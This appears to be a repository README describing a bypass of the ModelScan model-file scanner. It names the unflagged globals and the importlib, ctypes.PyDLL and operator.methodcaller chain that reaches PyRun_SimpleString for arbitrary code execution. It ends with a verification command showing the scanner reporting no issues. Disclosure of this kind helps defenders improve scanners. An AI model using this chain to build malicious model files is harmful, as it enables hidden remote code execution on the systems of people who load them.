xiaoyaoes/modelscan-pydll-bypass

ModelScan PyDLL PyRun_SimpleString Bypass

Uses ctypes.PyDLL(None).PyRun_SimpleString(arbitrary_python_code) to execute any Python code directly through CPython's C API.

Bypass GLOBALs (what modelscan sees)

• importlib.import_module — NOT in unsafe_globals
• ctypes.PyDLL — NOT in unsafe_globals
• operator.methodcaller — NOT in unsafe_globals

Mechanism

1. Import ctypes via importlib.import_module('ctypes')
2. Create ctypes.PyDLL(None) (Python DLL handle)
3. Call operator.methodcaller('PyRun_SimpleString', code)(pydll)
4. → PyDLL(None).PyRun_SimpleString(code) → executes Python code via CPython C API

Why This Is Different

manja316 has modelscan-ctypes-rce-bypass using CDLL(None).system(). This approach uses PyDLL(None).PyRun_SimpleString() — a completely different function that executes arbitrary PYTHON code, not just shell commands.

Impact

Full RCE with arbitrary Python code. No blocked modules involved.

Verification

modelscan -p exploit_pydll.joblib
# -> "No issues found!"